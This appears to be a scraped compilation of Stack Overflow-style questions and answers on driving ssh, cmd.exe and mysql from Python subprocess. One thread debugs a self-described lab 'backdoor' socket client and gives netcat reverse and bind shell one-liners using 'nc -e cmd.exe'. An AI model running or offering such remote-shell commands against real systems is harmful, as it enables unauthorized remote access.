Develop Reference

using python to ssh fully into server

I've been trying to automate ssh'ing into my server however cannot find a way to fully automate the process. To be specific, getting around this input has been the struggle: root#example's password:
My code:
import subprocess
import time
server_ip = 'server'
pwd = b'password'
p = subprocess.Popen(['ssh', 'root#{}'.format(server_ip)],
stdin=subprocess.PIPE, stdout=subprocess.PIPE)
if p == "root#example's password: ":
p.communicate(input= "{}".format(pwd))
else:
time.sleep(2)
if p == "root#example's password: ":
p.communicate(input= "{}".format(pwd))
else:
pass
What it returns:
Pseudo-terminal will not be allocated because stdin is not a terminal.
root#example's password:
user#computer ~ % Permission denied, please try again.
root#example's password:
Permission denied, please try again.
root#example's password:
root#example: Permission denied (publickey,password).
I know my code is very scuffed but it is the furthest I've got to getting in and submitting the password entry request.
Any help is appreciated!

if p == "root#example's password: ": can never be true; p is a subprocess.Popen object, not a string.
You can get a string by reading from the object's standard output, but of course, ssh prints the prompt message on the tty, so you can't easily capture it from Python.
Notice also that without an encoding keyword argument or text=True, you can't send or receive strings; the output you receive will be a b'...' byte string which cannot be compared to a regular string.
... But even if you managed to sort out these problems, taking it from there to a fully working interactive SSH session is still quite some distance to go. I would definitely recommend that you try pexpect or Paramiko instead of rolling your own, especially if you are new to Python.
Tangentially, else: pass is completely unnecessary; there is no reason to add an else: block in the first place if you don't have anything useful to put in it.
And
As "{}".format(pwd) is a really hairy way to write what can be more easily expressed as pwd, or str(pwd) if it's not already a string.

ssh via python subprocess: how to bail if fingerprint absent (Are you sure you want to continue connecting?)

I'm using a python script to manage ssh fingerprint problems after a workstation(s) is reimaged.
I attempt to connect, and if I get a "REMOTE HOST IDENTIFICATION HAS CHANGED!" error, then script removes the old fingerprint, scans for the new one and adds it.
This all works great, until I get a message like this:
Warning: the ECDSA host key for 'workstation-1-s' differs from the key for the IP address '192.168.1.132'
Offending key for IP in /home/me/.ssh/known_hosts:16
Matching host key in /home/me/.ssh/known_hosts:60
Are you sure you want to continue connecting (yes/no)?
The script waits for user input before continuing and removing the offending key.
How can I get the script to push through, or enter "no" so the script can continue with its fingerprint repair job?
Here's the relevant method:
def ssh_fingerprint_changed(node):
"""
Checks if a node's ssh fingerprint has changed or an old key is found, which can occur when a node is reimaged.
It does this by attempting to connect via ssh and inspecting stdout for an error message.
:param node: the ip or hostname of the node
:return: True if the node's fingerprint doesn't match the client's records. Else False.
"""
cmd = ["ssh", "-q", ADMIN_USER + "#" + node, "exit"]
completed = subprocess.run(cmd, stdout=subprocess.PIPE, universal_newlines=True)
if completed.stdout.find("REMOTE HOST IDENTIFICATION HAS CHANGED!") == -1:
print("REMOTE HOST IDENTIFICATION HAS CHANGED!")
return True
elif completed.stdout.find("Offending key") == -1:
print("Offending key found.") # need to type "no" before this prints
return True
return False

run (or legacy call) doesn't allow your controlling of the input/output of the process interactively. When you get the output, the process has already ended. So you're too late for the party.
Some would direct you to pexpect, or paramiko (which doesn't require calling ssh command).
Here's a workaround with Popen. I dropped your return logic. If you want to keep that, remember that at this point the process is still running, so you have to kill it (or wait for it to complete):
cmd = ["ssh", "-q", ADMIN_USER + "#" + node, "exit"]
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE, universal_newlines=True)
# loop on lines
for l in p.stdout:
if b"Offending key" in l:
print("Offending key found.")
p.stdin.write(b"no\n") # provide no + newline as the answer
rc = p.wait() # wait for process to end, get return code
if you're sure that the only answer will be "no", and a given number of times, an alternative to the loop would be
out,err = p.communicate(b"no\n"*10) # send 10 times no+linefeed
note the "b" prefix when scanning strings/writing data, as standard input/output/error are binary. Doesn't matter in python 2, but in python 3, omitting the b compares strings with bytes, and you'll never get a match.
Aside, I've done that with plink on Windows, but after a while, I got tired and rebuilt a version of plink with all security messages disabled/defaulting to the "optimistic" value. If the network is a company network behind firewalls and you're going to answer anything to get pass those prompts, better create a non-interactive tool from the start.

ssh into aws server and edit hosts file

My code:
For some reason this seems to infinite loop and repeatedly print 'here2' and the output of 'ls -lah'. Is there something bleedingly obvious I'm doing wrong?
def update_hosts_file(public_dns,hosts_file_info):
for dns in public_dns:
print 'here2'
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # wont require saying 'yes' to new fingerprint
key_path = os.path.join(os.path.expanduser(KEY_DIR), KEY_NAME)+'.pem'
ssh.connect(dns,username='ubuntu',key_filename=key_path)
ssh.exec_command('touch testing')
a,b,c=ssh.exec_command("ls -lah")
print b.readlines()
a,b,c=ssh.exec_command("file = open('/home/ubuntu/hosts', 'w')")
#print b.readlines()
ssh.exec_command("file.write('127.0.0.1 localhost\n')")
for tag,ip in hosts_file_info.iteritems():
ssh.exec_command("file.write('%s %s\n' % (ip,tag))")
ssh.exec_command("file.close()")
ssh.close()
public_dns = 'ec2-xx-xxx-xxx-xxx.compute-1.amazonaws.com'
print public_dns
hosts_file_info = {}
#hosts_file_info['1']='test'
#hosts_file_info['2']='test2'
#hosts_file_info['3']='test3'
#print hosts_file_info
update_hosts_file(public_dns,hosts_file_info)

Your first problem is that public_dns is a string, so for dns in public_dns: will iterate over the characters of that string. You'll try the code with 'e', then with 'c', then with '2', and so on. That's not an infinite loop, but it's a loop of length 42, and I could easily see you getting bored and canceling it before that finishes.
If you only want a single server, you still need a list of strings, it's just that the list will only have one string, like this:
public_dns = ['ec2-xx-xxx-xxx-xxx.compute-1.amazonaws.com']
Your next problem is that your ssh code doesn't make any sense. You're trying to execute Python statements, like file = open('/home/ubuntu/hosts', 'w'), as if they were bash commands. In bash, that command is a syntax error, because you can't use parentheses that way in shell scripts. And if you fixed that, it would just be a call to the file command, which would complain about not being able to find a file named =. You could upload a Python script to the remove server and then run it, embed one via a <<HERE, or try to script the interactive Python interpreter, but you can't just run Python code in the bash interpreter.
On top of that, exec_command starts a command, and immediately returns you the stdin/stdout/stderr channels. It doesn't wait until the command is finished. So, you can't sequence up multiple commands by just doing a,b,c = ssh.exec_command(…) one after another.
So, how could you fix this? It really makes more sense to start over again than to try to figure out what each part of this was intended to do and how to make it work.
As far as I can tell, on each machine, you're trying to create a new file, whose contents are based only on data you have locally, and the same on all machine. So, why even try to run code on each remote machine that creates that file? Just create it locally, once, and upload it to each remote machine—e.g., with Paramiko's sftp. Something like this (obviously untested, because I don't have your data, server credentials, etc.):
hosts = ['127.0.0.1 localhost\n']
for ip, tag in hosts_file_info.iteritems():
hosts.append('%s %s\n' % (ip,tag))
for dns in public_dns:
ssh = paramiko.SSHClient()
# etc. up to connect
sftp = paramiko.SFTPClient.from_transport(ssh.get_transport())
f = sftp.open('/home/ubuntu/hosts', 'w')
f.writelines(hosts)
f.close()

You're looping through every letter in the public_dns variable. You probably want something like this:
public_dns = ['ec2-xx-xxx-xxx-xxx.compute-1.amazonaws.com']

python subprocess stdin.write a string error 22 invalid argument

i have two python files communicating with socket. when i pass the data i took to stdin.write i have error 22 invalid argument. the code
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder
Update
OK basically i want to create something like a backdoor on a system, in a localhost inside a network lab. this is for educational purpose. i have two machines. 1) is running ubuntu and i have the in server this code:
import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1) #wait for client connection.
c, addr = s.accept() # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')
while True:
command_from_user = raw_input("Give your command: ") #read command from the user
if command_from_user == 'quit': break
c.send(command_from_user) #sending the command to client
c.close() # Close the connection
have this code for the client:
import socket
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024)
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
s.close #closing the socket
and the error is in the client file
Traceback (most recent call last): File "ex1client2.py", line 50, in proc.stdin.write('%s\n' % data) ValueError: I/O operation on closed file
basically i want to run serial commands from the server to the client and get the output back in the server. the first command is executed, the second command i get this error message.
The main problem which led me to this solution is with chanhing directory command. when i excecute cd "path" it doesn't change.

Your new code has a different problem, which is why it raises a similar but different error. Let's look at the key part:
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
The problem is that each time through this list, you're calling proc.communicate(). As the docs explain, this will:
Send data to stdin. Read data from stdout and stderr, until end-of-file is reached. Wait for process to terminate.
So, after this call, the child process has quit, and the pipes are all closed. But the next time through the loop, you try to write to its input pipe anyway. Since that pipe has been closed, you get ValueError: I/O operation on closed file, which means exactly what it says.
If you want to run each command in a separate cmd.exe shell instance, you have to move the proc = subprocess.Popen('cmd.exe', …) bit into the loop.
On the other hand, if you want to send commands one by one to the same shell, you can't call communicate; you have to write to stdin, read from stdout and stderr until you know they're done, and leave everything open for the next time through the loop.
The downside of the first one is pretty obvious: if you do a cd \Users\me\Documents in the first command, then dir in the second command, and they're running in completely different shells, you're going to end up getting the directory listing of C:\python27\Tools rather than C:\Users\me\Documents.
But the downside of the second one is pretty obvious too: you need to write code that somehow either knows when each command is done (maybe because you get the prompt again?), or that can block on proc.stdout, proc.stderr, and s all at the same time. (And without accidentally deadlocking the pipes.) And you can't even toss them all into a select, because the pipes aren't sockets. So, the only real option is to create a reader thread for stdout and another one for stderr, or to get one of the async subprocess libraries off PyPI, or to use twisted or another framework that has its own way of doing async subprocess pipes.
If you look at the source to communicate, you can see how the threading should work.
Meanwhile, as a side note, your code has another very serious problem. You're expecting that each s.recv(1024) is going to return you one command. That's not how TCP sockets work. You'll get the first 2-1/2 commands in one recv, and then 1/4th of a command in the next one, and so on.
On localhost, or even a home LAN, when you're just sending a few small messages around, it will work 99% of the time, but you still have to deal with that 1% or your code will just mysteriously break sometimes. And over the internet, and even many real LANs, it will only work 10% of the time.
So, you have to implement some kind of protocol that delimits messages in some way.
Fortunately, for simple cases, Python gives you a very easy solution to this: makefile. When commands are delimited by newlines, and you can block synchronously until you've got a complete command, this is trivial. Instead of this:
while True:
data = s.recv(1024)
… just do this:
f = s.makefile()
while True:
data = f.readline()
You just need to remember to close both f and s later (or s right after the makefile, and f later). A more idiomatic use is:
with s.makefile() as f:
s.close()
for data in f:
One last thing:
OK basically i want to create something like a backdoor on a system, in a localhost inside a network lab
"localhost" means the same machine you're running one, so "a localhost inside a network lab" doesn't make sense. I assume you just meant "host" here, in which case the whole thing makes sense.
If you don't need to use Python, you can do this whole thing with a one-liner using netcat. There are a few different versions with slightly different syntax. I believe Ubuntu comes with GNU netcat built-in; if not, it's probably installable with apt-get netcat or apt-get nc. Windows doesn't come with anything, but you can get ports of almost any variant.
A quick google for "netcat remote shell" turned up a bunch of blog posts, forum messages, and even videos showing how to do this, such as Using Netcat To Spawn A Remote Shell, but you're probably better off googling for netcat tutorials instead.
The more usual design is to have the "backdoor" machine (your Windows box) listen on a port, and the other machine (your Ubuntu) connect to it, so that's what most of the blog posts/etc. will show you. The advantage of this direction is that your "backyard server" listens forever—you can connect up, do some stuff, quit, connect up again later, etc. without having to go back to the Windows box and start a new connection.
But the other way around, with a backyard client on the Windows box, is just as easy. On your Ubuntu box, start a server that just connects the terminal to the first connection that comes in:
nc -l -p 1234
Then on your Windows box, make a connection to that server, and connect it up to cmd.exe. Assuming you've installed a GNU-syntax variant:
nc -e cmd.exe 192.168.2.7 1234
That's it. A lot simpler than writing it in Python.
For the more typical design, the backdoor server on Windows runs this:
nc -k -l -p 1234 -e cmd.exe
And then you connect up from Ubuntu with:
nc windows.machine.address 1234
Or you can even add -t to the backdoor server, and just connect up with telnet instead of nc.

The problem is that you're not actually opening a subprocess at all, so the pipe is getting closed, so you're trying to write to something that doesn't exist. (I'm pretty sure POSIX guarantees that you'll get an EPIPE here, but on Windows, subprocess isn't using a POSIX pipe in the first place, so there's no guarantee of exactly what you're going to get. But you're definitely going to get some error.)
And the reason that happens is that you're trying to open a program named '\n' (as in a newline, not a backslash and an n). I don't think that's even legal on Windows. And, even if it is, I highly doubt you have an executable named '\n.exe' or the like on your path.
This would be much easier to see if you weren't using shell=True. In that case, the Popen itself would raise an exception (an ENOENT), which would tell you something like:
OSError: [Errno 2] No such file or directory: '
'
… which would be much easier to understand.
In general, you should not be using shell=True unless you really need some shell feature. And it's very rare that you need a shell feature and also need to manually read and write the pipes.
It would also be less confusing if you didn't reuse data to mean two completely different things (the name of the program to run, and the data to pass from the socket to the pipe).

Supplying password to wrapped-up MySQL

Greetings.
I have written a little python script that calls MySQL in a subprocess. [Yes, I know that the right approach is to use MySQLdb, but compiling it under OS X Leopard is a pain, and likely more painful if I wanted to use the script on computers of different architectures.] The subprocess technique works, provided that I supply the password in the command that starts the process; however, that means that other users on the machine could see the password.
The original code I wrote can be seen here.
This variant below is very similar, although I will omit the test routine to keep it shorter:
#!/usr/bin/env python
from subprocess import Popen, PIPE
# Set the command you need to connect to your database
mysql_cmd_line = "/Applications/MAMP/Library/bin/mysql -u root -p"
mysql_password = "root"
def RunSqlCommand(sql_statement, database=None):
"""Pass in the SQL statement that you would like executed.
Optionally, specify a database to operate on. Returns the result."""
command_list = mysql_cmd_line.split()
if database:
command_list.append(database)
# Run mysql in a subprocess
process = Popen(command_list, stdin=PIPE, stdout=PIPE,
stderr=PIPE, close_fds=True)
#print "Asking for output"
#needs_pw = process.stdout.readline()
#print "Got: " + needs_pw
# pass it in the password
process.stdin.write(mysql_password + "\n")
# pass it our commands, and get the results
#(stdout, stderr) = process.communicate( mysql_password + "\n" + sql_statement)
(stdout, stderr) = process.communicate( sql_statement )
return stdout
I am suspicious that the MySQL password prompt is not actually on stdout (or stderr), although I don't know how that could be or if it means I could trap it.
I did try reading output first, before supplying a password, but it didn't work. I also tried passing the password
Again, if I supply the password on the command line (and thus have no code between the "Popen" and "communicate" functions) my wrapped function works.
Two new thoughts, months laster:
Using pexpect would let me supply a password. It simulates a tty and gets all output, even that which bypasses stdout and stderr.
There is a project called MySQL Connector/Python, in early alpha, that will allow provide a pure python library for accessing MySQL, without requiring you to compile any C-code.

You could simply build a my.cnf file and point to that on the mysql command. Obviously you'll want to protect that file with permissions/acls. But it shouldn't be really an more/less secure then having the password in your python script, or the config for your python script.
So you would do something like
mysql_cmd_line = "/Applications/MAMP/Library/bin/mysql --defaults-file=credentials.cnf"
and your config would look about like this
[client]
host = localhost
user = root
password = password
socket = /var/run/mysqld/mysqld.sock

The only secure method is to use a MySQL cnf file as one of the other posters mentions. You can also pass a MYSQL_PWD env variable, but that is insecure as well: http://dev.mysql.com/doc/refman/5.0/en/password-security.html
Alternatively, you can communicate with the database using a Unix socket file and with a little bit of tweaking you can control permissions at the user id level.
Even better, you can use the free BitNami stack DjangoStack that has Python and MySQLDB precompiled for OS X (And Windows and Linux) http://bitnami.org/stacks

This may be a windows / SQL Server feature, but could you use a Trusted Connection (i.e. use your OS login/password to access the DB)? There may be an OS X equivalent for MySQL.
Or you may just need to set up your DB to use the OS login and password so that you don't need to keep it in your code.
Anyway, just an idea.

Try this:
process.stdin.write(mysql_password + "\n")
process.communicate()
(stdout, stderr) = process.communicate( sql_statement )
process.stdin.close()
return stdout
Call communicate() to force what you just wrote to the buffer to send. Also, it's good to close stdin when you are done.